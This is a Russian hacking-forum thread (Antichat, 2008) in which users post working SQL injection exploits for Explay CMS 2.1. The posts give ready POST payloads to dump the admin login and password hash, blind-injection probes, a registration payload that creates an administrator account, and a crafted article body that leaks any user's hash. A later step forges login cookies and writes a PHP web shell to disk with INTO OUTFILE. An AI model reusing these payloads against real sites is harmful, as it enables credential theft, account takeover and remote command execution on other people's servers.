ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Explay CMS 2.1 множественные SQL inj + Exploit
  #1  
Старый 30.10.2008, 23:35
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию Explay CMS 2.1 множественные SQL inj + Exploit

Explay CMS 2.1

1) SQL injection
Need: magic_qoutes=Off
Вообщем уязвимый код приводить не буду. Опишу как заюзать.

Для эксплуатации необходим зарегестрированный юзер (далее U1). А также еще один юзер(U2) добавленный в друзья. Для обоих юзеров вы должны знать их id. Хочу еще обратить внимание на то что при эксплуатации этой уязвимости создается два ПМ сообщения, первое отправляется U2 в нем будет написанно только Hello, а второе сообщение будет содержать в себе админские логин/хеш и отправленно оно будет вам в ПМ.

Пакет к серверу составляем приблизительно вот такого типа:
Код:
URL: http://explay/messages/write/
POST: user=[id U2]&header=Hello',':)',NULL,'old'),('',[id U1],[id U1],'Хеш',(SELECT CONCAT(user_login,0x3a,user_password) FROM expl_users WHERE user_id=1),NULL,'new') -- dd&body=xxx&submit=1&body=xxx&submit=1
COOKIE: [куки вашего юзера]
2) Blind SQL injection's
Need: magic_qoutes=Off
Их всего две штуки, для первой написанн эксплойт (смотрим в атаче)
Пакет составлять так:
Код:
URL: http://explay/feedback/
POST: text=1&user_mail=ddd@dd.dd&mail=1' AND 1=IF(2>1,1,0) -- d
Либо для второй, но тут уже нужен зарегестрированный в системе юзер
Код:
URL: http://explay/edit_profile/
POST: name=1&save=1&email=1' OR 1=IF(1=1,1,0) -- d
COOKIE: [куки вашего юзера]
3) Создание администратора.
Need: magic_qoutes=Off, register_globals=On
Чтобы создать юзера с правами админа, при регистрации нового юзера, указываем еще одну переменную
Код:
POST: nicq=1','','','','off','',0,0,'','off','','','','','','','','','','',''), ('','login','9addbf544119efa4a64223b649750a510f0d463f','name','admin','1','xxx@xx.xx','1','','','','off','',0,0,'','off','','','','','','','','','','','') -- d
в итоге создастся два юзера, один из них будет с правами администратора. Для этой уязвимости написанн эксплойт (ацкей сплоент на чистом html), с прикольным интерфейсом, смотрим в атаче
Вложения
Тип файла: txt blind.exploit.php.txt (8.6 Кб, 33 просмотров)
Тип файла: txt create.admin.expl.html.txt (3.1 Кб, 27 просмотров)
__________________
Кто я?..
 
Ответить с цитированием

[Explay CMS <= 2.1] SQL Injection
  #2  
Старый 05.12.2008, 09:23
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию [Explay CMS <= 2.1] SQL Injection

[Explay CMS <= 2.1] SQL Injection

Уязвимость позволяет получить хэш пароля любого пользователя.
Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc.

Для получение пароля необходимо добавить статью (http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи).

Код добавления новой статьи:
modules/articles/mysql.class.php
PHP код:
    public function add_article ($art) {
        
$this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES (
                        0,
                        '"
.$art['art_category']."',
                        '"
.$art['art_header']."',
                        '"
.$art['art_body']."',
                        '"
.User::$properties['user_id']."',
                        '"
.time()."',
                        '"
.$art['art_comments']."',
                        '',
                        '',
                        '"
.$art['art_publik']."',
                        'no',
                        '"
.$art['art_visible']."',
                        '"
.$art['art_tags']."',
                        '0',
                        '',
                        '0',
                        '"
.$art['auto_tag']."'
        )"
); 
Составляем ядовитый "текст" статьи:

PHP код:
aaaaa', 
(SELECT user_id FROM expl_users WHERE user_login='
<UR_LOGIN>'), 
'
1228445451', 
'
on', 
'', 
'', 
'
yes', 
'
no', 
'
on', 
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='
<USER'S_LOGIN>'),
'0'
''
'0'
'yes' )/* 
Подзапрос
Цитата:
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок)

В итоге выполнится вот такой запрос:
PHP код:
INSERT INTO expl_articles VALUES 0
''
'some_title'
'aaaaa'
(
SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'), 
'1228445451'
'on'
''
''
'yes'
'no'
'on'
(
SELECT concat_ws(0x3auser_loginuser_passwordFROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'
0', 
'', 
'
0', 
'
yes' ) 
Результат вложенного запроса добавиться в виде "login:password" в поле Теги, например
Цитата:
admin:012ce7449da5b5afb89db5f32810946ea94098e6
Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами:
PHP код:
function expl_hash($str) {
    if (
function_exists('sha1'))
        return 
sha1($str); 
    elseif (
function_exists('mhash'))
        return 
bin2hex(mhash(MHASH_SHA1$str));
    else
        return 
md5($str);

Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт).

К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы.

Getting shell
Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv):
PHP код:
SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'

Последний раз редактировалось [x26]VOLAND; 03.01.2009 в 18:53..
 
Ответить с цитированием

  #3  
Старый 05.12.2008, 13:15
Аватар для procedure
procedure
Banned
Регистрация: 22.12.2007
Сообщений: 660
Провел на форуме:
3885269

Репутация: 1158


По умолчанию

А что в этих запросах значит
Цитата:
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
?
 
Ответить с цитированием

  #4  
Старый 05.12.2008, 13:19
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

Тут мы должны получить свой собственный user_id, так как его необходимо указать при вставке, чтобы именно мы были автором статьи. Можно конечно и не указывать "WHERE user_login='<UR_LOGIN>'" и вписать к примеру единицу (user_id=1), но тогда автором будет сам админ =).
<UR_LOGIN> - наш логин (не путать с именем!).
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ